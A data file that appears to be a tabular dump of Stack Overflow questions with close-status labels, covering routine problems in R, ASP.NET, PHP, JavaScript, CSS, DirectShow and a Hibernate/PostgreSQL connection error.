PostId int64 13 11.8M | PostCreationDate stringlengths 19 19 | OwnerUserId int64 3 1.57M | OwnerCreationDate stringlengths 10 19 | ReputationAtPostCreation int64 -33 210k | OwnerUndeletedAnswerCountAtPostTime int64 0 5.77k | Title stringlengths 10 250 | BodyMarkdown stringlengths 12 30k | Tag1 stringlengths 1 25 ⌀ | Tag2 stringlengths 1 25 ⌀ | Tag3 stringlengths 1 25 ⌀ | Tag4 stringlengths 1 25 ⌀ | Tag5 stringlengths 1 25 ⌀ | PostClosedDate stringlengths 19 19 ⌀ | OpenStatus stringclasses 5 values | unified_texts stringlengths 47 30.1k | OpenStatus_id int64 0 4 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
9,551,555 | 03/04/2012 01:38:24 | 120,898 | 06/10/2009 21:21:57 | 1,187 | 13 | Combine a series of data frames and create new columns for data in each | I have an Excel file with a sheet for each week in my data set. Each sheet has the same number of rows, and each row is identical across the sheets (with the exception of the time period… sheet 1 represents week 1, sheet 2 week 2, etc.). I'm trying to import all the Excel sheets as one data frame in R.
For example, my data is essentially structured like this (with several more columns and sheets):
Week 1 sheet
ID Gender DOB Absences Lates
1 M 1997 5 14
2 F 1998 4 3
Week 2 sheet
ID Gender DOB Absences Lates
1 M 1997 2 10
2 F 1998 8 2
I'm trying to build a script that will take x numbers of sheets and combine them into one data frame like this:
Combined (ideal)
ID Gender DOB Absences.1 Lates.1 Absences.2 Lates.2
1 M 1997 5 14 2 10
2 F 1998 4 3 8 2
I'm using gdata to import the Excel files.
I've tried creating a loop (normally bad for R, I know...) that will go through all the sheets in the Excel file and add each to a list as a data frame:
library(gdata)
number_sheets <- 3
all.sheets <- vector(mode="list", length=number_sheets)
for (i in 1:number_sheets) {
all.sheets[[i]] <- read.xls("/path/to/file.xlsx", sheet=i)
}
This gives me a nice list, `all.sheets`, that I can access, but I'm unsure about the best way to create a new data frame from specific columns in the list of data frames.
I've tried the code below, which creates a brand new data frame by looping through the list of data frames. On the first data frame, it saves the columns that are consistent in all the sheets, and then adds the week-specific columns.
Cleaned <- data.frame()
number_sheets <- 3
for (i in 1:number_sheets) {
if (i == 1) {
Cleaned <- all.sheets[[i]][,c("ID", "Gender", "DOB")]
}
Cleaned$Absences.i <- all.sheets[[i]][,c("Asences")] # wrong... obviously doesn't work... but essentially what I want
# Other week-specific columns go here... somehow...
}
This code doesn't work though, since `Cleaned$Absences.i` is obviously not how you create dynamic columns in a data frame.
What's the best way to combine a set of data frames and create new columns for each of the variables I'm trying to track?
*Extra hurdle:* I'm also trying to combine two columns, "Absences" and "Absences_excused" into a single "Absences" column in the final data frame, so I'm trying to make my solution let me perform transformations to the new columns, like so (again, this isn't right):
Cleaned$Absences.i <- all.sheets[[i]][,c("Asences")] + all.sheets[[i]][,c("Asences_excused")] | r | data.frame | null | null | null | null | open | Combine a series of data frames and create new columns for data in each
===
I have an Excel file with a sheet for each week in my data set. Each sheet has the same number of rows, and each row is identical across the sheets (with the exception of the time period… sheet 1 represents week 1, sheet 2 week 2, etc.). I'm trying to import all the Excel sheets as one data frame in R.
For example, my data is essentially structured like this (with several more columns and sheets):
Week 1 sheet
ID Gender DOB Absences Lates
1 M 1997 5 14
2 F 1998 4 3
Week 2 sheet
ID Gender DOB Absences Lates
1 M 1997 2 10
2 F 1998 8 2
I'm trying to build a script that will take x numbers of sheets and combine them into one data frame like this:
Combined (ideal)
ID Gender DOB Absences.1 Lates.1 Absences.2 Lates.2
1 M 1997 5 14 2 10
2 F 1998 4 3 8 2
I'm using gdata to import the Excel files.
I've tried creating a loop (normally bad for R, I know...) that will go through all the sheets in the Excel file and add each to a list as a data frame:
library(gdata)
number_sheets <- 3
all.sheets <- vector(mode="list", length=number_sheets)
for (i in 1:number_sheets) {
all.sheets[[i]] <- read.xls("/path/to/file.xlsx", sheet=i)
}
This gives me a nice list, `all.sheets`, that I can access, but I'm unsure about the best way to create a new data frame from specific columns in the list of data frames.
I've tried the code below, which creates a brand new data frame by looping through the list of data frames. On the first data frame, it saves the columns that are consistent in all the sheets, and then adds the week-specific columns.
Cleaned <- data.frame()
number_sheets <- 3
for (i in 1:number_sheets) {
if (i == 1) {
Cleaned <- all.sheets[[i]][,c("ID", "Gender", "DOB")]
}
Cleaned$Absences.i <- all.sheets[[i]][,c("Asences")] # wrong... obviously doesn't work... but essentially what I want
# Other week-specific columns go here... somehow...
}
This code doesn't work though, since `Cleaned$Absences.i` is obviously not how you create dynamic columns in a data frame.
What's the best way to combine a set of data frames and create new columns for each of the variables I'm trying to track?
*Extra hurdle:* I'm also trying to combine two columns, "Absences" and "Absences_excused" into a single "Absences" column in the final data frame, so I'm trying to make my solution let me perform transformations to the new columns, like so (again, this isn't right):
Cleaned$Absences.i <- all.sheets[[i]][,c("Asences")] + all.sheets[[i]][,c("Asences_excused")] | 0 |
4,018,571 | 10/25/2010 20:26:53 | 56,256 | 01/17/2009 19:36:09 | 962 | 62 | HTML Helpers are not rendered in html form - MS MVC | I have a simple html form. The built-in HTML helpers are rendering. The markup is not created. What am I missing?
<asp:Content ID="Content5" ContentPlaceHolderID="IslandPlaceHolder" runat="server">
<%using (Html.BeginForm()){%>
<div id="manifest">Manifest Option: <%Html.DropDownList("docid",ViewData["manifests"] as SelectList);%></div>
<div id="release">Release Version: <%Html.TextBox("release"); %></div>
<div id="locale">Localization: <%Html.DropDownList("localization"); %></div>
<div id="label">Label: <%Html.DropDownList("label"); %></div>
<div id="session">Session ID (optional): <%Html.TextBox("sessionInput"); %></div>%>
<input type="submit" value="Build" />
<%}%>
</asp:Content>
| asp.net-mvc | null | null | null | null | null | open | HTML Helpers are not rendered in html form - MS MVC
===
I have a simple html form. The built-in HTML helpers are rendering. The markup is not created. What am I missing?
<asp:Content ID="Content5" ContentPlaceHolderID="IslandPlaceHolder" runat="server">
<%using (Html.BeginForm()){%>
<div id="manifest">Manifest Option: <%Html.DropDownList("docid",ViewData["manifests"] as SelectList);%></div>
<div id="release">Release Version: <%Html.TextBox("release"); %></div>
<div id="locale">Localization: <%Html.DropDownList("localization"); %></div>
<div id="label">Label: <%Html.DropDownList("label"); %></div>
<div id="session">Session ID (optional): <%Html.TextBox("sessionInput"); %></div>%>
<input type="submit" value="Build" />
<%}%>
</asp:Content>
| 0 |
9,867,050 | 03/26/2012 05:30:05 | 1,263,346 | 03/12/2012 05:28:50 | 1 | 0 | How to develop Quick Sort using opengl | How to implement the working of Sorting techniques Like Heap sort,Quik sort Using Computer Graphics. | opengl | open | null | null | null | 03/26/2012 14:56:39 | not a real question | How to develop Quick Sort using opengl
===
How to implement the working of Sorting techniques Like Heap sort,Quik sort Using Computer Graphics. | 1 |
7,763,962 | 10/14/2011 06:42:49 | 800,452 | 06/15/2011 21:34:21 | 565 | 8 | Javascript Popup Box Will Not Pop Up | I'm trying to open a window via javascript but it keeps just refreshing doing nothing. At first I thought it was just Google Chrome but it did the same in firefox and IE. Not sure what my problem is. JSFiddle says something about "POST" but i'm not sure. Suggestions?
http://jsfiddle.net/uBwvx/ | javascript | homework | popup | window | open | null | open | Javascript Popup Box Will Not Pop Up
===
I'm trying to open a window via javascript but it keeps just refreshing doing nothing. At first I thought it was just Google Chrome but it did the same in firefox and IE. Not sure what my problem is. JSFiddle says something about "POST" but i'm not sure. Suggestions?
http://jsfiddle.net/uBwvx/ | 0 |
5,748,276 | 04/21/2011 18:31:50 | 660,697 | 03/15/2011 13:57:48 | 27 | 0 | Block direct access to PHP files and allow json | I'm trying to block out some files with a php script, however, i want my javascript ajax calls to allow the scripts, i don't know if this is even possible but..
What i do now is,
$filename = array('index.php');
$basename = basename($_SERVER['REQUEST_URI']);
if(!in_array($basename, $filename)) {
die('...');
}
This will block all files and not index.php, but what if i have an login.php that makes my ajax calls possible? | php | ajax | block | null | null | null | open | Block direct access to PHP files and allow json
===
I'm trying to block out some files with a php script, however, i want my javascript ajax calls to allow the scripts, i don't know if this is even possible but..
What i do now is,
$filename = array('index.php');
$basename = basename($_SERVER['REQUEST_URI']);
if(!in_array($basename, $filename)) {
die('...');
}
This will block all files and not index.php, but what if i have an login.php that makes my ajax calls possible? | 0 |
7,986,005 | 11/02/2011 19:09:06 | 1,026,048 | 11/02/2011 16:21:27 | 1 | 0 | Could Someone Show Me How Insert this into database with php | I need to insert this into a database and then fetch the users selection on a different page
to display permanently with php. I have no idea how to code this and make it work.
<select name="manufacturer">
<option value="Lincoln">Lincoln</option>
<option value="Example">Example</option>
</select>
| php | database | list | box | null | 11/02/2011 19:15:31 | not a real question | Could Someone Show Me How Insert this into database with php
===
I need to insert this into a database and then fetch the users selection on a different page
to display permanently with php. I have no idea how to code this and make it work.
<select name="manufacturer">
<option value="Lincoln">Lincoln</option>
<option value="Example">Example</option>
</select>
| 1 |
9,678,853 | 03/13/2012 05:32:29 | 1,265,690 | 03/13/2012 05:27:31 | 1 | 0 | What Difference HL7 V3 and CDA? | What Difference HL7 V3 and CDA, really until now I haven't got precise answer
please help me
Thanks. | hl7 | cda | null | null | null | null | open | What Difference HL7 V3 and CDA?
===
What Difference HL7 V3 and CDA, really until now I haven't got precise answer
please help me
Thanks. | 0 |
4,949,914 | 02/09/2011 20:10:38 | 610,350 | 02/09/2011 20:10:38 | 1 | 0 | Saving frames in a directshow filter | I have an application that relies on a C++ DirectShow transform filter, for the purpose of analyzing what is going on step by step I want to save each frame from the camera that the filter processes. What would be the simplest method to achieve this in the filter itself? | c++ | image | save | directshow | null | null | open | Saving frames in a directshow filter
===
I have an application that relies on a C++ DirectShow transform filter, for the purpose of analyzing what is going on step by step I want to save each frame from the camera that the filter processes. What would be the simplest method to achieve this in the filter itself? | 0 |
10,638,327 | 05/17/2012 15:05:08 | 1,359,555 | 04/26/2012 19:19:39 | 14 | 0 | Paging a GridView within an UpdatePanel causes a full postback | I want to use an AJAX update panel in a web master page, but it does not work. I try to open an another proget for doing the same steps. It's working well, but in this page it can't work with this code:
Master Page :
<%@ Master Language="VB" CodeFile="GiacMasterPage.master.vb" Inherits="GIAC_GiacMasterPage" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head id="Head1" runat="server">
<title>GIAC</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<meta name="description" content="Description du site internet" />
<link href="../../App_Themes/GiacStyleSheet/StyleSheet.css" rel="stylesheet" type="text/css" />
<script src="../../Scripts/Global_Scripts/jquery-1.4.1.js" type="text/javascript"></script>
<script src="../../Scripts/Global_Scripts/jquery.easing.1.3.js" type="text/javascript"></script>
<script src="../../Scripts/Global_Scripts/animated-menu.js" type="text/javascript"></script>
<script src="../../Scripts/Global_Scripts/GlobalJsScript.js" type="text/javascript"></script>
<asp:ContentPlaceHolder id="head" runat="server">
</asp:ContentPlaceHolder>
</head>
<body>
<form id="Server_Form" runat="server">
<asp:ScriptManager ID="ScriptManager1" runat="server" />
<div id="wrapper" >
<div id="Nav">
<div id="RightNav">
<ul>
<li>
<asp:LoginStatus ID="LoginStatus" runat="server" LogoutPageUrl="~/GIAC.aspx" /> </li>
<li><div id="EnLign"> En Ligne <br />
<span class="Count"><asp:Label ID="lblCountEnLigne" runat="server" ></asp:Label></span></div></li>
<li> <a href="#">Messages <br />
<span class="Count"><asp:Label ID="lblCountMessages" runat="server" Text="10"></asp:Label></span></a></li>
<li> <a href="#">Actualité<br />
<span class="Count"><asp:Label ID="lblCountActualite" runat="server" Text="25"></asp:Label></span></a></li>
<li> <a href="#">Information <br />
sur GIAC</a></li>
</ul>
</div> <!--#RightNav-->
<div id="LeftNav">
<ul>
<li class="blue">
<p><a href="#">Gestion des réunions</a></p>
<p class="subtext">The front page</p>
</li>
<li class="yellow">
<p><a href="#">Gestion des cabinets</a></p>
<p class="subtext">More info</p>
</li>
<li class="red">
<p><a href="#">Gestion des entreprises</a></p>
<p class="subtext">Get in touch</p>
</li>
<li class="green">
<p><a href="../Gestion des dossiers/Gestion_Des_Dossiers_Accueil.aspx">Gestion des dossiers</a></p>
<p class="subtext">Send us your stuff!</p>
</li>
<ul>
</div> <!--#LeftNav-->
</div> <!--#Nav-->
<div id="EnLigneUserName">
<span style="color:green; font-size:18px;"><center>Par identification<br /><span style="color:grey; font-size:18px;">Vous et:</span></center></span>
<hr />
<asp:BulletedList ID="ListDeUserEnLigne" runat="server">
</asp:BulletedList>
<div id="IfEmpty" style="color:Red; font-size:15px;font-variant:normal;"><br /><center> Aucun Identifiants En Ligne ! </center></div>
</div>
<asp:ContentPlaceHolder ID="Corps" runat="server">
</asp:ContentPlaceHolder>
</div> <!--#wrapper-->
</form> <!--Server_Form-->
</body>
</html>
PAGE CONTENT :
<%@ Page Title="" Language="VB" MasterPageFile="~/GIAC/Accueil/GiacMasterPage.master" AutoEventWireup="false" CodeFile="Les_Dossiers_Finance.aspx.vb" Inherits="GIAC_Gestion_des_dossiers_Les_Dossiers_Finance" %>
<asp:Content ID="Content1" ContentPlaceHolderID="head" Runat="Server">
</asp:Content>
<asp:Content ID="Gestion_Dossier_Finance" ContentPlaceHolderID="Corps" Runat="Server">
<center> <div id="Bar_Nav_Gestion_Dossier_Inter">
<asp:ScriptManagerProxy ID="ScriptManagerProxy1" runat="server">
</asp:ScriptManagerProxy>
<p id="p1"><a href="Tous_Les_Dossiers.aspx">Consulter <br /> Tous les dossiers</a></p>
<ul>
<li id="li1"><a href="Les_Dossiers_Finance.aspx">Les dossiers qui sont prêts a remplir avec les information de finance</a></li>
<li id="li2"><a href="Les_Dossiers_Rembourse.aspx">Les dossiers qui sont prêts a remplir avec les information de remboursement</a></li>
<li id="li3"><a href="Prete_Envoyer_OFPPT.aspx">Les dossiers qui sont prêts a envoyer au OFPPT</a></li>
<li id="li4"><a href="Deja_Envoyer_OFPPT.aspx">Les dossiers qui sont déja envoyer a OFPPT</a></li>
<li id="li5"><a href="Retour_OFPPT.aspx">Retour de L’OFPPT </a></li>
</ul>
<p id="p2">Nouveau dossier</p>
</div></center>
<div id="BarRecherche">
Filtrer les dossiers par :
<asp:DropDownList ID="RecherhcerComboBox" runat="server" ONCHANGE="Recherche()">
<asp:ListItem Selected="True" Value="Rien">--Sélectionner le type--</asp:ListItem>
<asp:ListItem Value="CNSS">CNSS d'entreprise</asp:ListItem>
<asp:ListItem Value="Date">Date de dépôt des dossiers</asp:ListItem>
<asp:ListItem Value="ID">Identifiant d'entreprise</asp:ListItem>
</asp:DropDownList>
</div>
<asp:Panel ID="SearchPanel" runat="server">
<div id="CNSSRech">
<asp:Panel ID="PanelCNSS" runat="server" >
Saisir la CNSS :
<asp:TextBox ID="CNSSTxt" runat="server" Height="23px" placeholder="CNSS" style="font-family : Comic Sans MS, Arial, Tahoma; color:Red;"></asp:TextBox>
<asp:Button ID="RechercherCNSS" runat="server" Text="Rechercher" />
</asp:Panel>
</div>
<div id="IDRech">
<asp:Panel ID="PanelID" runat="server" >
Saisir l'identifiant d'entreprise :
<asp:TextBox ID="IDTxt" runat="server" Height="23px"
placeholder="identifiant"
style="font-family : Comic Sans MS, Arial, Tahoma; color:Red;"
Width="91px"></asp:TextBox>
<asp:Button ID="RechercherID" runat="server" Text="Rechercher" />
</asp:Panel>
</div>
<div id="DateRech">
<asp:Panel ID="PanelDate" runat="server" >
Entre :
<asp:TextBox ID="Date_Debut" runat="server">
</asp:TextBox>
Et :
<asp:TextBox ID="Date_Fin" runat="server">
</asp:TextBox>
</asp:Panel>
</div>
</asp:Panel>
<asp:ScriptManager ID="ScriptManager1" runat="server">
</asp:ScriptManager>
<div class="GridViewDiv">
<asp:UpdatePanel ID="UpdatePanel1" runat="server">
<ContentTemplate>
<asp:SqlDataSource ID="SqlDataSource1" runat="server"
ConnectionString="<%$ ConnectionStrings:NorthwindConnectionString %>"
SelectCommand="SELECT * FROM [Products]"></asp:SqlDataSource>
<asp:GridView ID="GridView1" runat="server" AllowPaging="True"
AllowSorting="True" AutoGenerateColumns="False" DataKeyNames="ProductID"
DataSourceID="SqlDataSource1">
<Columns>
<asp:CommandField ShowSelectButton="True" />
<asp:BoundField DataField="ProductID" HeaderText="ProductID"
InsertVisible="False" ReadOnly="True" SortExpression="ProductID" />
<asp:BoundField DataField="ProductName" HeaderText="ProductName"
SortExpression="ProductName" />
<asp:BoundField DataField="SupplierID" HeaderText="SupplierID"
SortExpression="SupplierID" />
<asp:BoundField DataField="CategoryID" HeaderText="CategoryID"
SortExpression="CategoryID" />
<asp:BoundField DataField="QuantityPerUnit" HeaderText="QuantityPerUnit"
SortExpression="QuantityPerUnit" />
<asp:BoundField DataField="UnitPrice" HeaderText="UnitPrice"
SortExpression="UnitPrice" />
<asp:BoundField DataField="UnitsInStock" HeaderText="UnitsInStock"
SortExpression="UnitsInStock" />
<asp:BoundField DataField="UnitsOnOrder" HeaderText="UnitsOnOrder"
SortExpression="UnitsOnOrder" />
<asp:BoundField DataField="ReorderLevel" HeaderText="ReorderLevel"
SortExpression="ReorderLevel" />
<asp:CheckBoxField DataField="Discontinued" HeaderText="Discontinued"
SortExpression="Discontinued" />
</Columns>
</asp:GridView>
</ContentTemplate>
</asp:UpdatePanel>
</div>
</asp:Content>
| asp.net | visual-studio | visual-studio-2010 | asp.net-ajax | null | 05/18/2012 13:01:12 | not a real question | Paging a GridView within an UpdatePanel causes a full postback
===
I want to use an AJAX update panel in a web master page, but it does not work. I try to open an another proget for doing the same steps. It's working well, but in this page it can't work with this code:
Master Page :
<%@ Master Language="VB" CodeFile="GiacMasterPage.master.vb" Inherits="GIAC_GiacMasterPage" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head id="Head1" runat="server">
<title>GIAC</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<meta name="description" content="Description du site internet" />
<link href="../../App_Themes/GiacStyleSheet/StyleSheet.css" rel="stylesheet" type="text/css" />
<script src="../../Scripts/Global_Scripts/jquery-1.4.1.js" type="text/javascript"></script>
<script src="../../Scripts/Global_Scripts/jquery.easing.1.3.js" type="text/javascript"></script>
<script src="../../Scripts/Global_Scripts/animated-menu.js" type="text/javascript"></script>
<script src="../../Scripts/Global_Scripts/GlobalJsScript.js" type="text/javascript"></script>
<asp:ContentPlaceHolder id="head" runat="server">
</asp:ContentPlaceHolder>
</head>
<body>
<form id="Server_Form" runat="server">
<asp:ScriptManager ID="ScriptManager1" runat="server" />
<div id="wrapper" >
<div id="Nav">
<div id="RightNav">
<ul>
<li>
<asp:LoginStatus ID="LoginStatus" runat="server" LogoutPageUrl="~/GIAC.aspx" /> </li>
<li><div id="EnLign"> En Ligne <br />
<span class="Count"><asp:Label ID="lblCountEnLigne" runat="server" ></asp:Label></span></div></li>
<li> <a href="#">Messages <br />
<span class="Count"><asp:Label ID="lblCountMessages" runat="server" Text="10"></asp:Label></span></a></li>
<li> <a href="#">Actualité<br />
<span class="Count"><asp:Label ID="lblCountActualite" runat="server" Text="25"></asp:Label></span></a></li>
<li> <a href="#">Information <br />
sur GIAC</a></li>
</ul>
</div> <!--#RightNav-->
<div id="LeftNav">
<ul>
<li class="blue">
<p><a href="#">Gestion des réunions</a></p>
<p class="subtext">The front page</p>
</li>
<li class="yellow">
<p><a href="#">Gestion des cabinets</a></p>
<p class="subtext">More info</p>
</li>
<li class="red">
<p><a href="#">Gestion des entreprises</a></p>
<p class="subtext">Get in touch</p>
</li>
<li class="green">
<p><a href="../Gestion des dossiers/Gestion_Des_Dossiers_Accueil.aspx">Gestion des dossiers</a></p>
<p class="subtext">Send us your stuff!</p>
</li>
<ul>
</div> <!--#LeftNav-->
</div> <!--#Nav-->
<div id="EnLigneUserName">
<span style="color:green; font-size:18px;"><center>Par identification<br /><span style="color:grey; font-size:18px;">Vous et:</span></center></span>
<hr />
<asp:BulletedList ID="ListDeUserEnLigne" runat="server">
</asp:BulletedList>
<div id="IfEmpty" style="color:Red; font-size:15px;font-variant:normal;"><br /><center> Aucun Identifiants En Ligne ! </center></div>
</div>
<asp:ContentPlaceHolder ID="Corps" runat="server">
</asp:ContentPlaceHolder>
</div> <!--#wrapper-->
</form> <!--Server_Form-->
</body>
</html>
PAGE CONTENT :
<%@ Page Title="" Language="VB" MasterPageFile="~/GIAC/Accueil/GiacMasterPage.master" AutoEventWireup="false" CodeFile="Les_Dossiers_Finance.aspx.vb" Inherits="GIAC_Gestion_des_dossiers_Les_Dossiers_Finance" %>
<asp:Content ID="Content1" ContentPlaceHolderID="head" Runat="Server">
</asp:Content>
<asp:Content ID="Gestion_Dossier_Finance" ContentPlaceHolderID="Corps" Runat="Server">
<center> <div id="Bar_Nav_Gestion_Dossier_Inter">
<asp:ScriptManagerProxy ID="ScriptManagerProxy1" runat="server">
</asp:ScriptManagerProxy>
<p id="p1"><a href="Tous_Les_Dossiers.aspx">Consulter <br /> Tous les dossiers</a></p>
<ul>
<li id="li1"><a href="Les_Dossiers_Finance.aspx">Les dossiers qui sont prêts a remplir avec les information de finance</a></li>
<li id="li2"><a href="Les_Dossiers_Rembourse.aspx">Les dossiers qui sont prêts a remplir avec les information de remboursement</a></li>
<li id="li3"><a href="Prete_Envoyer_OFPPT.aspx">Les dossiers qui sont prêts a envoyer au OFPPT</a></li>
<li id="li4"><a href="Deja_Envoyer_OFPPT.aspx">Les dossiers qui sont déja envoyer a OFPPT</a></li>
<li id="li5"><a href="Retour_OFPPT.aspx">Retour de L’OFPPT </a></li>
</ul>
<p id="p2">Nouveau dossier</p>
</div></center>
<div id="BarRecherche">
Filtrer les dossiers par :
<asp:DropDownList ID="RecherhcerComboBox" runat="server" ONCHANGE="Recherche()">
<asp:ListItem Selected="True" Value="Rien">--Sélectionner le type--</asp:ListItem>
<asp:ListItem Value="CNSS">CNSS d'entreprise</asp:ListItem>
<asp:ListItem Value="Date">Date de dépôt des dossiers</asp:ListItem>
<asp:ListItem Value="ID">Identifiant d'entreprise</asp:ListItem>
</asp:DropDownList>
</div>
<asp:Panel ID="SearchPanel" runat="server">
<div id="CNSSRech">
<asp:Panel ID="PanelCNSS" runat="server" >
Saisir la CNSS :
<asp:TextBox ID="CNSSTxt" runat="server" Height="23px" placeholder="CNSS" style="font-family : Comic Sans MS, Arial, Tahoma; color:Red;"></asp:TextBox>
<asp:Button ID="RechercherCNSS" runat="server" Text="Rechercher" />
</asp:Panel>
</div>
<div id="IDRech">
<asp:Panel ID="PanelID" runat="server" >
Saisir l'identifiant d'entreprise :
<asp:TextBox ID="IDTxt" runat="server" Height="23px"
placeholder="identifiant"
style="font-family : Comic Sans MS, Arial, Tahoma; color:Red;"
Width="91px"></asp:TextBox>
<asp:Button ID="RechercherID" runat="server" Text="Rechercher" />
</asp:Panel>
</div>
<div id="DateRech">
<asp:Panel ID="PanelDate" runat="server" >
Entre :
<asp:TextBox ID="Date_Debut" runat="server">
</asp:TextBox>
Et :
<asp:TextBox ID="Date_Fin" runat="server">
</asp:TextBox>
</asp:Panel>
</div>
</asp:Panel>
<asp:ScriptManager ID="ScriptManager1" runat="server">
</asp:ScriptManager>
<div class="GridViewDiv">
<asp:UpdatePanel ID="UpdatePanel1" runat="server">
<ContentTemplate>
<asp:SqlDataSource ID="SqlDataSource1" runat="server"
ConnectionString="<%$ ConnectionStrings:NorthwindConnectionString %>"
SelectCommand="SELECT * FROM [Products]"></asp:SqlDataSource>
<asp:GridView ID="GridView1" runat="server" AllowPaging="True"
AllowSorting="True" AutoGenerateColumns="False" DataKeyNames="ProductID"
DataSourceID="SqlDataSource1">
<Columns>
<asp:CommandField ShowSelectButton="True" />
<asp:BoundField DataField="ProductID" HeaderText="ProductID"
InsertVisible="False" ReadOnly="True" SortExpression="ProductID" />
<asp:BoundField DataField="ProductName" HeaderText="ProductName"
SortExpression="ProductName" />
<asp:BoundField DataField="SupplierID" HeaderText="SupplierID"
SortExpression="SupplierID" />
<asp:BoundField DataField="CategoryID" HeaderText="CategoryID"
SortExpression="CategoryID" />
<asp:BoundField DataField="QuantityPerUnit" HeaderText="QuantityPerUnit"
SortExpression="QuantityPerUnit" />
<asp:BoundField DataField="UnitPrice" HeaderText="UnitPrice"
SortExpression="UnitPrice" />
<asp:BoundField DataField="UnitsInStock" HeaderText="UnitsInStock"
SortExpression="UnitsInStock" />
<asp:BoundField DataField="UnitsOnOrder" HeaderText="UnitsOnOrder"
SortExpression="UnitsOnOrder" />
<asp:BoundField DataField="ReorderLevel" HeaderText="ReorderLevel"
SortExpression="ReorderLevel" />
<asp:CheckBoxField DataField="Discontinued" HeaderText="Discontinued"
SortExpression="Discontinued" />
</Columns>
</asp:GridView>
</ContentTemplate>
</asp:UpdatePanel>
</div>
</asp:Content>
| 1 |
8,326,823 | 11/30/2011 13:38:27 | 1,045,001 | 11/14/2011 05:20:50 | 1 | 0 | What CSS positioning is best to use when creating a responsive website? | I'm just getting familiarized with CSS, however I am having a hard time figuring out what 'positioning' to use for a responsive website. The closest I got was by using 'absolute' positioning but it could not adjust to the different screen sizes. Any ideas?![enter image description here][1]
| css | null | null | null | null | 11/30/2011 13:53:01 | not a real question | What CSS positioning is best to use when creating a responsive website?
===
I'm just getting familiarized with CSS, however I am having a hard time figuring out what 'positioning' to use for a responsive website. The closest I got was by using 'absolute' positioning but it could not adjust to the different screen sizes. Any ideas?![enter image description here][1]
| 1 |
3,071,054 | 06/18/2010 15:39:21 | 312,619 | 04/09/2010 08:36:05 | 1 | 0 | JSF HIBERNATE POSTGRESQL | When I press "Save" button I get an exception like that ;
javax.servlet.ServletException: org.hibernate.exception.JDBCConnectionException: Cannot open connection
javax.faces.webapp.FacesServlet.service(FacesServlet.java:325)
root cause
javax.faces.el.EvaluationException: org.hibernate.exception.JDBCConnectionException: Cannot open connection
javax.faces.component.MethodBindingMethodExpressionAdapter.invoke(MethodBindingMethodExpressionAdapter.java:102)
com.sun.faces.application.ActionListenerImpl.processAction(ActionListenerImpl.java:102)
javax.faces.component.UICommand.broadcast(UICommand.java:315)
javax.faces.component.UIViewRoot.broadcastEvents(UIViewRoot.java:775)
javax.faces.component.UIViewRoot.processApplication(UIViewRoot.java:1267)
com.sun.faces.lifecycle.InvokeApplicationPhase.execute(InvokeApplicationPhase.java:82)
com.sun.faces.lifecycle.Phase.doPhase(Phase.java:101)
com.sun.faces.lifecycle.LifecycleImpl.execute(LifecycleImpl.java:118)
javax.faces.webapp.FacesServlet.service(FacesServlet.java:312)
root cause
org.hibernate.exception.JDBCConnectionException: Cannot open connection
org.hibernate.exception.SQLStateConverter.convert(SQLStateConverter.java:98)
org.hibernate.exception.JDBCExceptionHelper.convert(JDBCExceptionHelper.java:66)
org.hibernate.exception.JDBCExceptionHelper.convert(JDBCExceptionHelper.java:52)
org.hibernate.jdbc.ConnectionManager.openConnection(ConnectionManager.java:449)
org.hibernate.jdbc.ConnectionManager.getConnection(ConnectionManager.java:167)
org.hibernate.jdbc.JDBCContext.connection(JDBCContext.java:142)
org.hibernate.transaction.JDBCTransaction.begin(JDBCTransaction.java:85)
org.hibernate.impl.SessionImpl.beginTransaction(SessionImpl.java:1463)
sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
sun.reflect.NativeMethodAccessorImpl.invoke(Unknown Source)
sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source)
java.lang.reflect.Method.invoke(Unknown Source)
org.hibernate.context.ThreadLocalSessionContext$TransactionProtectionWrapper.invoke(ThreadLocalSessionContext.java:344)
$Proxy108.beginTransaction(Unknown Source)
com.yemex.beans.CompanyBean.saveOrUpdate(CompanyBean.java:52)
sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
sun.reflect.NativeMethodAccessorImpl.invoke(Unknown Source)
sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source)
java.lang.reflect.Method.invoke(Unknown Source)
org.apache.el.parser.AstValue.invoke(AstValue.java:196)
org.apache.el.MethodExpressionImpl.invoke(MethodExpressionImpl.java:276)
com.sun.faces.facelets.el.TagMethodExpression.invoke(TagMethodExpression.java:98)
javax.faces.component.MethodBindingMethodExpressionAdapter.invoke(MethodBindingMethodExpressionAdapter.java:88)
com.sun.faces.application.ActionListenerImpl.processAction(ActionListenerImpl.java:102)
javax.faces.component.UICommand.broadcast(UICommand.java:315)
javax.faces.component.UIViewRoot.broadcastEvents(UIViewRoot.java:775)
javax.faces.component.UIViewRoot.processApplication(UIViewRoot.java:1267)
com.sun.faces.lifecycle.InvokeApplicationPhase.execute(InvokeApplicationPhase.java:82)
com.sun.faces.lifecycle.Phase.doPhase(Phase.java:101)
com.sun.faces.lifecycle.LifecycleImpl.execute(LifecycleImpl.java:118)
javax.faces.webapp.FacesServlet.service(FacesServlet.java:312)
root cause
java.sql.SQLException: No suitable driver found for jdbc:postgresql://localhost/postgres
java.sql.DriverManager.getConnection(Unknown Source)
java.sql.DriverManager.getConnection(Unknown Source)
org.hibernate.connection.DriverManagerConnectionProvider.getConnection(DriverManagerConnectionProvider.java:133)
org.hibernate.jdbc.ConnectionManager.openConnection(ConnectionManager.java:446)
org.hibernate.jdbc.ConnectionManager.getConnection(ConnectionManager.java:167)
org.hibernate.jdbc.JDBCContext.connection(JDBCContext.java:142)
org.hibernate.transaction.JDBCTransaction.begin(JDBCTransaction.java:85)
